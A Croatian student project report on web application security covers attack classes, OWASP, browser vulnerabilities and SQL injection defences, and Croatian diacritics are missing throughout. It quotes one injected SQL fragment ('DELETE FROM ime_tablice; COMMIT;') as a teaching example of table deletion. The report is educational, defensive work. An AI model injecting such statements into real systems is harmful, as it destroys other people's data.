SVEUILITE U ZAGREBU FAKULTET ORGANIZACIJE I INFORMATIKE VARADIN

Projektna dokumentacija SIGURNOST INFORMACIJSKIH SUSTAVA

Tema:

Slabosti web aplikacija: Pregled modernih metoda kompromitiranja i zatite sigurnosti weba

lanovi tima: Tomislav Vladi Zoran ako Josip Vincek Miroslav Zver Tomislav Vedak

Varadin, sijeanj 2011.

Sadraj
1. Uvod .......................................................................................................................... 1 2. Napadi i ranjivosti web aplikacija ............................................................................. 3 2.1. Aspekti sigurnosti ............................................................................................... 6 2.2. to je OWASP.................................................................................................... 9 3. Napadi na web aplikacije internet preglednici ..................................................... 11 3.1. to je to SQLi ................................................................................................... 14 3.2. Napad SQLi propustom.................................................................................... 17 3.3. to je to XSS/CRLF ......................................................................................... 22 3.4. Napad iskoritavanjem XSS/CRLF-a............................................................... 27 3.5. Zatita od XSS/CRLF-a ................................................................................... 31 4. OWASP projekti ..................................................................................................... 33 4.1.OWASP Top 10 ................................................................................................ 33 4.1.1. Nain utvrivanja rizika ............................................................................ 35 4.1.2. OWASP Top 10 Application Security Risks 2010 ................................ 38 4.1.2.1. Injection - Injekcija ............................................................................. 40 4.1.2.2. Cross-Site Scripting (XSS).................................................................. 42 4.1.2.3. Broken Authentication and Session Management Loe upravljanje autentikacijom i sesijama ................................................................................. 44 4.1.2.4. Insecure Direct Object References Nesigurne direktne reference na objekte .............................................................................................................. 46 4.1.2.5. Cross-Site Request Forgery (CSRF) ................................................... 48 4.1.2.6. Security Misconfiguration Kriva konfiguracija sustava sigurnosti .. 50 4.1.2.7. Insecure Cryptographic Storage Nesigurna kriptografska pohrana . 53 4.1.2.8. Failure to Restrict URL Access Neuspjelo ograniavanje URL pristupa ............................................................................................................. 55 4.1.2.9. Insufficient Transport Layer Protection Nedovoljna zatita na razini transportnog sloja ............................................................................................. 57 4.1.2.10. Unvalidated Redirects and Forwards Neprovjerena preusmjeravanja i prosljeivanja ................................................................................................. 59 4.2. OWASP projekti sigurnosti IS-a ...................................................................... 61 4.3. Koritenje alata u svrhu poboljanja zatite ..................................................... 70 4.3.1. WebScarab ................................................................................................ 71 I

4.3.2. WebGoat ................................................................................................... 72 4.4. Opi principi napada ........................................................................................ 75 5. Metode provjere i neutraliziranja ............................................................................ 78 5.1. Damn vulnerable web app ............................................................................ 78 SQL Injection ........................................................................................ 79 Cross site scripting ................................................................................ 83 Command execution.............................................................................. 87 Cross site request forgery (CSRF) ........................................................ 91

5.1.1. 5.1.2. 5.1.3. 5.1.4.

6. DVWA .................................................................................................................... 96 6.1. Metode Damn Vulnerable Web Application (DVWA) aplikacije ................... 97 6.1.1. Brute Force ................................................................................................ 97 6.1.2. Command Execution ................................................................................. 98 6.1.3. Cross Site Request Forgery (CSRF) ......................................................... 98 6.1.4. File inclusion ............................................................................................. 99 6.1.5. XSS ......................................................................................................... 100 6.1.6. Unrestricted File Upload ......................................................................... 101 6.1.7. SQL Injection .......................................................................................... 103 6.1.7.1. Blind SQL Injection .......................................................................... 103 6.1.7.2. Nain zatite od SQLi napada ........................................................... 105 6.2. WebGoat............................................................................................................. 106 6.2.1. Propusti kontrole pristupa (engl. Access Control Flaws)........................ 107 6.2.2. Sigurnost AJAX-a (engl. AJAX Security) .............................................. 108 6.2.3. Autentifikacijski nedostaci (engl. Authentiation Flaws) ......................... 108 6.2.4. Prekoraenje kapaciteta meuspremnika (engl. Buffer Overflow) ......... 109 6.2.5. Kvaliteta programskog kda (engl. Code Quality) ................................. 109 6.2.6. Konkurentnost (engl. Concurrency) ........................................................ 109 6.2.7. Cross-Site Scripting (XSS) ..................................................................... 109 6.2.8. Denial Of Service (DDOS) ..................................................................... 110 6.2.9. Nepravilno postupanje sa grekama (engl. Improper Error Handling) ... 110 6.2.10. SQLI ...................................................................................................... 111 6.2.11. Nesigurna komunikacija (engl. Insecure Communication) ................... 111 6.2.12. Nesigurna konfiguracija (engl. Insecure Configuration) ...................... 112 6.2.13. Nesigurna pohrana podataka (engl. Insecure Storage) .......................... 112 6.2.14. Izvravanje malicioznih programa (engl. Malicious Execution) .......... 113 II

6.2.15. Parametar Tampering ............................................................................ 113 6.2.16. Upravljanje sesijama (engl. Session Management Flaws) .................... 114 6.2.17. Web servisi (engl. Web Services) ......................................................... 115 6.2.18. Zakljuak o programima DVWA i WebGoat ....................................... 115 6.3 WebGoat SQLi demonstracija ........................................................................ 116 7. Literatura ............................................................................................................... 119 8. Popis priloga.......................................................................................................... 122 8.1. Popis slika ...................................................................................................... 122 8.2. Popis tablica ................................................................................................... 122

III

1. Uvod
Danas je zastupljenost raunala sve vea u svim segmentima gdje ovjek moe djelovati na bilo koji nain. Raunala su postala dio ovjekova ivota i koristi ga u rjeavanju svakodnevnih problema, te postaje sve popularniji. Osim na ovom podruuju, takoer velike promjene su vidljive u poslovanju, gdje se nastoji sve automatizirati i ubrzati cjelokupni proces poslovanja. Takav nain poslovanja donosi mnoge prednosti, ali bismo mogli rei, da postoji i veliki broj nedostataka koji dolaze zajedno sa prednostima koritenja ovakve tehnologije. Naputaju se tradicionalni naini, te se pristupa novim i modernism nainima obavljanja svih aktivnosti koji u konanici daju vei stupanj sigurnosti u jednom podruju, a istovremeno vei stupanj nesigurnosti ako govorimo o sigurnosti informacija i podataka o korisnicima aplikacija.

Znamo da vrlo esto, koritenje bilo kakvih aplikacija, posebno ako se radi o aplikacijama na internet, zahtjevaju registracije, te prijave razliitog tipa u sustave kako bi se dobili korisniki podaci za pristup alikaciji. To najee podrazumjeva ostavljanje osobnih podataka, kao to je mail adresa, te drugih osobnih podataka, to moe dovesti do naruavanja sigurnosti korisnika aplikacije. Napredovanjem tehnologije, pronalaze se mogunosti naruavanja sigurnosti komunikacijskih kanala, te naruvanja osobne privatnosti i sigurnosti. Tehnologija svaki dan omoguuje sve vie dobre funkcionalnosti, ali isto tako i predstavlja problem koji je teko kontrolirati, posebice ako se radi o pristupu udaljenim raunalima, gdje postajemo potencijalne mete osoba koje izvode raunalne napade.

U ovom seminaru emo se dotaknuti pojma sigurnosti web aplikacija, te najeih slabosti koje u velikoj mjeri utjeu, ne samo na sigurnost aplikacije, nego na sigurnost korisnika aplikacije. Osim toga, vidjet emo na koji nain korisnici web aplikacija mogu biti ugroeni, te kako se osigurati da ne doemo u takve situacije. Prije svega, bitno je da djelujemo preventivno i uinimo sve mjere zatite, te poduzmemo korake u sprjeavanju ili barem smanjivanju mogunosti napada.

Budui da se sve vie aktivnosti seli na internet, ovakav nain rada najee zahtjeva koritenje baza podataka, velikog broja servera koji posluuju klijenta, te su oni u 1

velikoj mjeri u stalnoj interakciji. Ova rairenost predstavlja jo vei problem, koji dovodi u teke situacije i same korisnike web usluga, ali i posluitelje koji nastoje na sve naine prilagoditi sustave sigurnom nainu rada.

Kako bi se moglo djelovati i uiniti web aplikacije otpornijim na napade izvana, potrebno je definirati potencijalne kritine toke. Osim njihovog prepoznavanja, bitan je korak u kojemu pokuavamo pronai efikasno rjeenje. To rjeenje je vrlo teko pronai, jer se mora obratiti panju na nekoliko bitnih elemenata. Prije svega, ne bismo smjeli smanjiti koliinu usluge ili njezinu kvalitetu primjenom odreenih mjera sigurnosti, ali isto tako bismo trebali omoguiti jednostavnost koritenja, kako bi svi korisnici znali kako trebaju u pojedinim situacijama reagirati.

Kako bismo pokazali to je potrebno poduzeti da bismo poveali sigurnost informacija i podataka koje aljemo putem internet, izmeu aplikacija koje meusobno komuniciraju, prikazat emo naine na koji se vrlo esto napadaju web aplikacije, te emo dati konkretne primjere kako to sprijeiti. To bi na neki nain moglo predstavljati smjernice ili upute u poboljanju vlastite sigurnosti u sluaju koritenja infrastrukture interneta kao tehnologije koja omoguuje komunikaciju i razmjenu podataka.

2. Napadi i ranjivosti web aplikacija

Web aplikacije su danas postale mjesto koje daje velike mogunosti za izvravanje kriminalnih radnji. To je mjesto gdje se izmjenjuju velike koliine informacija. Informacije se alju izmeu razliitih korisnika na velikim udaljenostima, te se obrauju. Sam taj proces je prilino sloen, a u njemu sudjeluje veliki broj server koji posluuju informacije, obrauju ih i u konanici prosljeuju drugim korisnicima sustava i web aplikacija. Postojanje velikog broja tehnologija koje omoguuju pisanje koda za aplikacije, da mogunost programerima da naprave kvalitetne aplikacije. Istovremeno moemo rei da ta injenica pomae i programerima zlonamjernih aplikacija. Analizom ranjivosti sustava i web aplikacija, dolazimo do pojedinih propusta koje moemo ukloniti i uiniti aplikacije sigurnijim. Svaki dan se nastoje poboljati naini komuniciranja izmeu aplikacija, te vidjeti koji problemi u protokolima komuniciranja, moda na neki nain utjeu na manju razinu sigurnosti web aplikacija. Danas je razvijen veliki broj tehnika napada na web aplikacije, pa emo spomenuti samo neke od najee koritenih. Sve te tehnike e biti kasnije opisane, a za neke emo dati primjere izvravanja napada na konkretnim sustavima, odnosno web aplikacijama. Neke od najee koritenih tehnika napada se odnose na: 1 1. Napadi koji se odnose na autentifikaciju 2 2. Napadi koji se odnose na autorizaciju 3 3. Napadi na klijentskoj strani 4. Napadi izvravanja naredbi 5. Otkrivanje povjerljivih informacija 6. Logiki napadi

Jo moemo napomenuti da ovo nisu svi napadi koji su danas mogui nego samo neki od najee koritenih.
Najee koritene tehnike napada http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/kozina_mario_seminar.pdf 2 Odnosi se na mjeru zatite, dokazivanje identiteta korisnika http://en.wikipedia.org/wiki/AAA_protocol 3 Odnosi se na mjeru zatite, dokazivanje identiteta korisnika http://en.wikipedia.org/wiki/AAA_protocol
1

Sam postupak identificiranja ranjivosti sustava dosnosi dodatne probleme. Mnogi problemi su toliko sloeni ili zahtjevaju odlino poznavanje tehnologije i puno vremena da bi se rijeili. Identifikacijom propusta, oni vrlo brzo postaju dostupni javnosti, a time postoji potencijalna opasnost da neke od do sada nepoznatih ranjivosti budu iskoritene protiv korisnika sustava ili web aplikacija.

Problem ranjivosti web aplikacija i sustava koji opsluuju web aplikacije su veliki problem ako se ne uspiju rijeiti odmah nakon njihovog otkrivanja ili u vrlo brzom vremenskom razdoblju nakon toga. Ako se radi o sloenim problemima neke ranjivosti bi se mogle iskoristiti za stvaranje novih koje u tom trenutku nisu uoene, pa bi problem bio jednak ili moda ak i vei u odnosu na prethodnu situaciju. Zbog toga je brzo djelovanje jedan od najvanijih imbenika u tom procesu.

Prethodno smo spomenuli na to se odnose najee koritene tehnike napada. Svaka ta grupa se odnosi na jednu ili vie tehnika napada od kojih emo neke detaljnije opisati. Danas su one poznate po sljedeim imenima: 1. Buffer Overflow4 2. SQL injection5 3. Cross.site scripting6, te mnoge druge.

U svrhu sigurnosti korisnika web aplikacija, postoje brojne organizacije koje svojim prijedlozima i smjernicama pokuavaju utjecati na svijest korisnika i tako postii da korisnici sami djeluju prije nego se dogodi mogunost da se nau u nekoj potencijalno opasnoj situaciji. Neke od tih organizacija su Zavod za sigurnost informacijskih sustava7 ili Cert8.

Buffer Overflow tehnika napada http://en.wikipedia.org/wiki/Buffer_overflow SQLi tehnika napada http://en.wikipedia.org/wiki/SQL_injection 6 Cross.site scripting tehnika napada http://en.wikipedia.org/wiki/Cross-site_scripting 7 Zavod za sigurnost informacijskih sustava http://www.zsis.hr/Site/LinkClick.aspx?fileticket=nYHdMp/tUx8%3D&tabid=66&mid=459 8 Cert organizacija koja se brine o sigurnosnim incidentima http://www.cert.hr/
5

Postoje takoer brojne web stranice na kojima su detalji i ranjivostima esto objavljivani. Neke od web stranica koje objavljuju ranjivosti web aplikacija su sljedee9: Tablica 2.1. Prikaz web stranica za ranjivostima Naziv stranice 1. 2. 3. 4. 5. SecurityFocus milw0rm Packet Storm MITRE Corporation CVE NIST Database 6. 7. ISS X-Force CERT vulnerability notes http://xforce.iss.net http://www.kb.cert.org/vuls National Adresa web stranice http://www.securityfocus.com http://www.milw0rm.com http://packetstormsecurity.org http://cve.mitre.org

Vulnerability http://nvd.nist.gov

Slika 2.1. Postotak najeih ranjivosti Web aplikacija po klasama

Web stranice koje objavljuju ranjivosti web aplikacija http://os2.zemris.fer.hr/ns/websec/2009_tomic/otkrivanje_ranjivosti.html

2.1. Aspekti sigurnosti

Danas govorimo o nekoliko aspekata sigurnosti. To su: Napad na sigurnost sve akcije koje se mogu definirati kao opasne akcije za sigurnost informacija i podataka u nekom sustavu. Sigurnosni mehanizam mehanizam koji se implementira sa ciljem da se otkriju potencijalne prijetnje i napadi koje trea strana pokuava izvriti nad sustavom i informacijama koje on ima. Sigurnosna usluga mehanizam koji osigurava veu razinu sigurnosti, poveava sigurnost sustava, informacija koje su potrebne sustavu i podataka koji su tu zapisani.10

Napadi na sustav mogu biti razliitog tipa. Danas se sve vie pokuavaju napadati sustavi koji rade na internetu. Poslovanje se seli na internet, a aplikacije koje opsluuju sustav na taj nain postaju sve ranjivije i sve ee meta razliitih napada. Neki od najeih naina napada su presretanje, izmjena podataka ili slanje lanih podataka tako da korisnici sustava nisu toga svjesni. To moe naruiti sigurnost sustava i utjecati na kvalitetu poslovanja.

Da bismo mogli na bilo koji nain djelovati na prijetnje i uspjeno smanjiti intenzitet realizirane prijetnje ili da bismo uope mogli donositi odreene mjere za smanjenje rizika i eliminiranje prijetnji sustavu, potrebno je analizirati sustav i definirati to je sve izloeno rizinim situacijama i na koji nain moemo djelovati kako bismo tu injenicu promjenili i odreeni dio sustava, ili sustav u cjelini uinili sigurnijim i otpornijim na prijetnje i ranjivosti koje dolaze sa interneta. Ovaj postupak se provodi kroz nekoliko koraka. To su najee sljedei koraci:11
10

Identificiranje onih dijelova koje treba zatititi, Izrada popisa imovine i definiranje odreenih mjera Dekompozicija aplikacije

Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 1, 2. stranica 11 Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 1, 6.-7. stranica

Identificiranje prijetnji Dokumentiranje prijetni radi daljnje obrade i praenja kako se takve situacije ne bi ponavljale

Rangiranje prijetnji i procjena prijetnji s ciljem da se vei prioriteti daju onim elementima koji su najvie ugroeni.

Sada si moemo postaviti pitanje: Koji je razlog pojavljivanja potrebe za ovakvim postupcima? Prije svega to se odnosi na povjerljivost, raspoloivost i cjelovitost.

Osim spomenutih napada, postoji jo nekoliko vrsta napada, pa spominjemo jo nekoliko vrlo rairenih. Svakako vrlo bitno mjesto zauzima Brute force napad koji je vezan za autentifikaciju korisnika. Zbog nedovoljne razine zatite ovaj napad funkcionira metodom pogaanja i promaaja korisnikih lozinki. Na taj nain, napadai ne samo da dolazi do korisnikih podataka za prijavu u sustav, nego dobivaju i druge bitnije podatke o korisnicima kao to su brojevi kartica te podaci koje oni uvaju. Na taj nain vrlo jednostavno napada moe doi u situaciju da promjeni korisnike podatke korisnika i zauvijek ih oduzme korisniku.

U mnogim web aplikacijama, korisniki podaci za pristup su vrlo jednostavni i kratki. Zbog te injenice mnogi napadai pokuavaju upravo pogaanjem doi do tih podataka. Kako bi se to sprijeilo bilo bi dobro onemoguiti pristupe uslugama u vrijeme kada to nije potrebno. I ne samo onemoguiti, nego i dati korisniku priliku da sam odlui u koje vrijeme e odreene usluge biti dostupne. Na taj nain samo korisnik zna kada moe pristupiti, a napadaima je onemogueno pogaanje lozinki i drugih korisnikih podataka.

I kod ovih napada se moe iskoristiti propust vezan za ubacivanje koda. I to se moe iskoristiti i izvriti napadaki kod na strani klijenta u korisnikom web pregledniku. Napada ubacuje odreeni sadraj te onemoguuje korisniku da primjeti kako se radi o nelegitimnom kodu, odnosno napadakom kodu. On e na kraju nesvjesno izvriti taj kod i omoguiti napadau daljnje napade.

Sljedei bitni propust je vezan za otkrivanje povjerljivih informacija. esto se vee za rasipanje informacija, izlistavanje mapa neautoriziranim korisnicima, onim

korisnicima koji ne smiju imati pristup tome, u sluajevima kada se koriste preaci. Treba sprijeiti da aplikacija otkriva programske komentare ili detaljenije poruke pogrekama koji dovode napadaa na blii put do korisnikih podataka. Treba predvidjeti to vei broj pogreaka i na taj nain sprijeiti ispisivanje pogreaka koje em otkriti detalje o podacima, bazama podataka, te drugim korisnikim podacima. Zbog ovakvih propusta napadai mogu doi i do sistemskih ili administratorskih ovlasti i podataka o njima u sustavu. Posljednji napad koji emo opisati je logiki napad12. Vezan je za zlouporabu funkcionalnosti aplikacije. Temelji se na uskraivanju pruene usluge. Najee se izvodi kao DDOS napad ili rjee DOS napad. Napad je uzrokovan automatiziranim procesima koji naruavaju kontrolu procesa. Napada u velikoj mjeri koristi resurse posluitelja, te onemoguuje drugim korisnicima koritenje usluga i normalni rad web aplikacije.

Logiki napadi http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/kozina_mario_seminar.pdf

12

2.2. to je OWASP
O OWASP-u13 neemo puno govoriti u ovom poglavlju, budui da emo ga kasnije detaljnije razraditi i opisati. Za sada je dovoljno samo rei to je to OWASP, to e biti dovoljno za uvod u vrste napada web aplikacija, te najee ranjivosti web aplikacije koje omoguuju napadaima da dou do sadraja koji su povjerljivi, tajni ili ne smiju biti dostupni svim osobama, odnosno javnosti.

OWASP je skraenica od naziva Open Web Application Security Project, odnosno organizacije koja se bavi pronalaenjem i rjeavanjem problema vezanih za sigurnost aplikacija. Rezultat njihovog rada je jedan vrlo poznati dokument nazvan OWASP Top 10 koji definira pravila i smjernice kako se zatititi od kritinih propusta u web aplikacijama14. Na tom projektu je radio veliki broj strunjaka iz cijelog svijeta. Samim prihvaanjem njihovih preporuka postajemo sve blii sigurnijem nainu rada u web aplikacijama.15

Osim samog OWASPA, na ovom podruju se istaknula jo jedna organizacija, a to je WASC ili Web Application Security Consortium. To je grupa strunjaka iz cijelog svijeta i predstavnika drugih orgnizacija koje se bave sigurnou raunalnih aplikacija, a daju smjernice i upute za najbolju praqksu kako se osigurati od razliitih ranjivosti i napada. Svoje smjernice i upute objavljuju u dokumentima kako bi korisnici web aplikacija to jednostavnije i bre doli do tih uputa.

Osim samih preporuka o nainu rada i postizanju vee razine sigurnosti, OWASP daje i preporuke o alatima koje treba koristiti kada testiramo sigurnost aplikacije. Jedan od alata koji su preporuili je Paros. Napisan je u Javi i omoguuje dohvaanje i izmjene na HTTP i HTTPS prometu izmeu posluitelja i klijenta.

13 14

OWASP http://www.owasp.org/index.php/Main_Page OWASP http://www.owasp.org/index.php/OWASP_Testing_Project 15 http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf

U nastavku imamo sliku koja prikazuje deset najeih napada na korisnike web aplikacija. Iz ovoga jasno vidimo koji su napadi najee koriteni, te na osnovu tih informacija se moemo orjentirati na odreena podruja i uloiti vee napore kako bismo zatitili svoj sustav.

Slika 2.2. Deset najee koritenih napada na web aplikacije16

Slika prikazuje sljedee napade: Cross-site scrinpting, Injection Flaws, Malicious File Execution, Insecure Direct Object Reference. To su napadi koje se posebno istiu i meu deset spomenutih.

Deset najee koritenih napada na web aplikacije http://www.owasp.org/index.php/Top_10_2007-Methodology

16

10

3. Napadi na web aplikacije internet preglednici

Da bismo objasnili napade na web aplikacije, potrebno je prije svega spomenuti internet preglednike koji omoguuju izvravanje takvog koda i prikazivanje web aplikacija na ekranu korisnika. Za poetak si moemo postaviti sljedee pitanje: to su to web aplikacije i to su to internet preglednici? Ovi odgovori e nam biti prilino bitni kada budemo traili odgovor na pitanje kako sprijeiti napada na web aplikacije i kako uiniti te iste aplikacije sigurnijima i manje ranjivima. Web aplikacije su programski paketi koji omoguuju korisnicima prezentiranje sadraja razliitog tipa, koritenje razliitih usluga te izvravanje odreenih aktivnosti. Na ovo pitanje moemo odgovoriti na vie naina i postoji veliki broj razliitih definicija, budui da je i samo to podruje prilino iroko. Drugi dio pitanja se odnosi na internet preglednike. To je programski paket koji je namjenjen dohvaanju i prezentaciji web stranica, odnosno slikovnih datoteka, video zapisa ili neke druge vrste sadraja koji se na njoj nalazi. Neki od najpopularnijih i najee koritenih internet preglednika su: Internet Explorer, Mozilla Firefox, Opera, Safari, Google Chrome, te jo mnogi drugi.17

Zbog svoje rairenosti ovi internet preglednici postaju zanimljiviji napadaima i vrlo pogodni za iskoritavanje ranjivosti kako bi doli do podataka korisnika. I sami korisnici ve svojim ponaanjem i nainom koritenja na neki nain pomau napadaima i olakavaju im posao. Iskoritavanjem svih mogunosti internet preglednika, kao to su spremanje korisnikih podataka, spremanje povijesti, te razne dodatne opcije, ine nae preglednike i raunala ranjivijim. Ovo jo vie dolazi do izraaja ako ne koristimo nikakvu ili koristimo nedovoljno dobru zatitu. Spomenuta web aplikacije se uglavnom sastoji od tri glavne komponente. To su skripte, a radi se o sljedeim komponentama: web posluitelj alje stranice korisnikom pregledniku, aplikacijski posluitelj obrauje te podatke, a na kraju se ti podaci spremaju u bazu podataka.18

Najpopulariniji web preglednici http://security.lss.hr/documents/LinkedDocuments/CCERTPUBDOC-2009-09-276.pdf 18 Komponente web aplikacije http://security.lss.hr/documents/LinkedDocuments/CCERTPUBDOC-2009-09-276.pdf

17

11

Tablica 3.1. Usporedba popularnih preglednika u 2009. godini19 2009 Srpanj Lipanj Svibanj Travanj Oujak Veljaa Sijeanj IE7 15,9 18,7 21,3 23,2 24,9 25,4 25,7 IE6 14,4 14,9 14,5 15,4 17,0 17,4 18,5 IE8 9,1 7,1 5,2 3,5 1,4 0,8 0,6 Firefox 47,9 47,3 47,7 47,1 46,5 46,4 45,5 Chrome 6,5 6,0 5,5 4,9 4,2 4,0 3,9 Safari 3,3 3,1 3,0 3,0 3,1 3,0 3,0 Opera 2,1 2,1 2,2 2,2 2,3 2,2 2,3

Tablica 3.1. prikazuje postotak korisnika koji koriste odreeni preglednik. Vidimo da se postotci tijekom godina mijenjaju, ali i da su omjeri priblino jednaki tijekom svih godina. Neki od internet preglednika koji imaju jako puno problema sa ranjivostima, imaju veliki broj korisnika.

Prednosti internet preglednika Mozilla Firefox

Osim brzine koja se istie kao vrlo dobra prednost, bitno je istaknuti i brzinu koja se odnosi na izdavanje sigurnosnih zakrpa za ovaj internet preglednik. Vrlo brzo se uoavaju sigurnosne prijetnje i razvijaju zakrpe za propuste kako bi korisnici bili sigurniji. Jo neke predosti su brojni dodaci koji se mogu instalirati kao plugin u internet pregledniku, te stabilnost i dobre performanse preglednika. Svakako najbitniji dio je integracija s antivirusnim programom, vrlo brzo i efikasno uoavanje phishing napada, te provjer od zlonamjernih programa. Korisnicima je dana visoka razina sigurnosti i stalno razvijanje sustava te kontinuirano poboljanje. Kao i svaki drugi preglednik i ovaj ima nekoliko nedostataka. Jedan od njih je vezan za memoriju. Ovaj preglednik zauzima puno memorije kada je pokrenut i zbog toga ponekad moe raditi probleme. Drugi bitan nedostatak je vezan za verziju 3.5. koja ima propust u nekim od plugina. To su plugin AdBlock Plus i NoScript, nakon ije instalacije se zapravo omoguuje proizvoljno pokretanje JavaScript koda.

Prednosti internet preglednika Internet Explorer

19

CERT.hr http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09-276.pdf

12

Drugi esto koriteni internet preglednik je Internet Explorer. U nastavku spominjemo prednosti i nedostake vezane za tog preglednika. Od prednosti je bitno istaknuti brzinu koja se odnosi na obavljanje zadaa, alatnu traku koja u novijim verzijama nadopunjuju adresu koju korisnik upisuje, te neke dodatke koji se odnose na zatitu od razliitih vrsta napada. Kao bitne izdvajamo zatita od napada socijalnim inenjeringom, te mogunosti oporavka od ruenja aplikacije, zatita privatnosti, te praenje novosti na web stranicama.

Iako ovaj preglednik ima dosta prednosti koje mogu zadovoljiti potrebe korisnika, tu su brojni propusti od kojih se veina moe svrstati u kategoriju vrlo rizinih propusta. To su dereferenciranje osoloboene memorije, neispravno rukovanje tablinim operacijama i podacima u prirunoj memoriji. Osim ovih propusta spominju se propusti vezani za neodgovarajuu analizu predloaka dokumenata te nepravilno rukovanje pozivima DHTML objekata.20

20

CERT.hr http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09-276.pdf

13

3.1. to je to SQLi
SQLi napad mogu biti vrlo tetni za sustav, posebno u situacijama kada on ima velike koliine strogo povjerljivih podataka. Ovakvi napadi su vezani za bazu podataka, odnosno sustave koji u pozadini imaju neku bazu podataka. SQLi napadi se mogu sprijeiti ako na korektan nain provjeravamo korisnike unose u forme. Kao primjer emo navesti pokuaj brisanja tablice iz baze podataka. Ako pretpostavimo da od korisnika zahtjevamo unos odreenih podataka, a nema nikakve kontrole podataka, onda korisnik moe to iskoristiti i nakon to unese posljednji podataka, moe dodati kod koji e brisati podatke ili cijele tablice.21

Tako, primjeri dani kod DELETE FROM ime_tablice; COMMIT; moe brisati neku tablicu ako se unese nakon zadnjeg upisanog podataka. To je omogueno dinamikim SQL upitima koji se koriste u aplikaciji. Ako imamo potrebu koristiti takve upite, onda je u svakom sluaju preporuljivo dodati kontrole unosa podatak u formu, kako bismo barem jedan dio prijetnji eliminirali.

Primjer. Ako imamo bazu podataka u kojoj se trai registracija korisnika, moemo pretpostaviti to korisnik smije upisati i u kojem to obliku treba biti. Za one elemente koji ne trebaju imati specijalne znakove, to moemo ograniiti i iskljuiti mogunost njihovog unosa. Na taj nain smo sprijeili da korisnik u tom postupku unosi naredbe koje e naruiti integritet ili cjelovitost podataka u bazi podataka.22 Ovakvi napadi su najopasniji ako korisnik ve poznaju strukturu baze podataka i zna kako se neke tablice zovu, ili ako ak zna nazive odreenih stupaca u tablici. To je puno opasnije, jer korisnik na taj nain moe napasti tono odreeni dio u bazi podataka i brisati neto za to zna gdje se nalazi. Ako struktura baze podataka nije poznata, napada ne zna kako se zovu tablice i vrlo teko e do toga doi i brisati tablice ili mijenjati njihov sadraj.

Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 479. stranica 22 Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11,480. stranica

21

14

Aspekti zatite23 1. Uporaba najnovijih zakrpa za DBMS 2. Ograniavanje pristupa DBMS serveru 3. Koritenje troslojnog modela arhitekture sustava 4. Skrivanje strukture baze podataka 5. Koritenje sloenih lozinki 6. Brisanje nepotrebnih objekata 7. Provjera kontrole pristupa 8. Kontrola podataka koje korisnik unosi kao input u sustavu 9. Procjena mogunosti napada na sustav pomou ranjivosti

Kada govorimo o zatiti DBMS-a, bitno je pratiti izdavanje zakrpa za sustav i redovito ga aurirati. Proizvoai nastoje izdati zakrpe za uoene ranjivostim, pa njihovom instalacijom onemoguujemo napadaima da narue sigurnost sustava. Neke ranjivosti su toliko sloene, da ne postoji neki drugi nain zatite pa je ovaj postupak dobro izvravati to je ee mogue. Jo jedan korak u pokuaju stvaranja vee razine sigurnosti je ograniavanje pristupa korisnicima. Ovo se najvie odnosi na pristup serveru na kojem se nalaze bitni podaci. Ako korisnici ne trebaju pristup serveru onda im se to ne smije omoguiti. Ako im je ipak pristup potreban, ali nije potreban pristup cijelom sustavu, onda ga se mora ograniiti na onu razinu koja je odreenom korisniku potrebna.24

Koritenje troslojne arhitekture sustava se odnosi na pravilno modeliranje sustava i implementiranje na nain da se poslovna logika odvaja od ostatka sustava, te da postoje najmanje tri razine koje e biti meusobno neovisne. Na taj nain jednostavnije moemo kontrolirati sustav, popravljati ga ili nadograivati po potrebi.25

Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 489-491. stranica 24 Ograniavanje pristupa serveru DBMS Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 489. stranica 25 Kada govorimo o troslojnom modelu, treba naglasiti da u smislu projektiranja aplikacije to znai razdvajanje funkcionalnosti i jednostavnost nadograivanja sustava, te jednostavna zamjena komponenti Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 489. stranica

23

15

to se tie skrivanja strukture baze podataka, moemo doi do zakljuka da ona zapravo predstavlja veliki problem za sigurnost sustava. Budui da se vrlo esto koriste dinamiki SQL upiti u aplikacijama, poznavanje strukture baze podataka od strane korisnika, moe ugroziti sustav. Korisnik to znanje moe iskoristiti kako bi pomou naredbi u SQL-u obrisao neke tablice iz baze podataka, pa ak i kako bi izmjenio podatke u nekim tablicama.26

Koritenje sloenih lozinki se odnosi na promjenu lozinki koje su sustavu dodijeljene nakon instalacije. Te lozinke su uvijek jednake i jednostavne pa ih i poetnici mogu vrlo brzo razbiti. Zbog toga lozinke treba vrlo esto mijenjati i koristiti razliite kombinacije znakova, brojeva i specijalnih simbola kako bi ona bila sigurnija i tea za razbiti. Takoer, treba korisnicima omoguiti da mijenjaju lozinke ili ih nekim mehanizmima prisliti da je mijenjaju kako napadai ne bi mogli iskoristiti ranjivosti korisnika i preko njihovih korisnikih podatka naruili sigurnost baze podatka.27

Brisanjem nepotrebnih tablica ili korisnikih podataka koji se ne koriste, smanjujemo razinu rizika i potencijalne prijetnje koje mogu nastati zlouporabom podataka koji se ne koriste.28 Provjera kontrole pristupa se odnosi na provjeru dodjeljenih ovlasti. Pojedinim korisnicima se daju ovlasti za koritenje odreenih sustava i koritenje odreene funkcionalnosti, a da bi to bilo sigurno za sustav, i sami korisnici moraju uvati svoje korisnike podatke kako netko drugi ne bi doao do njihovih ovlasti u sustavu. O provjeri ulaznih podataka i procjeni razine rizika smo ve govorili, pa se ovdje neemo zadravati.29

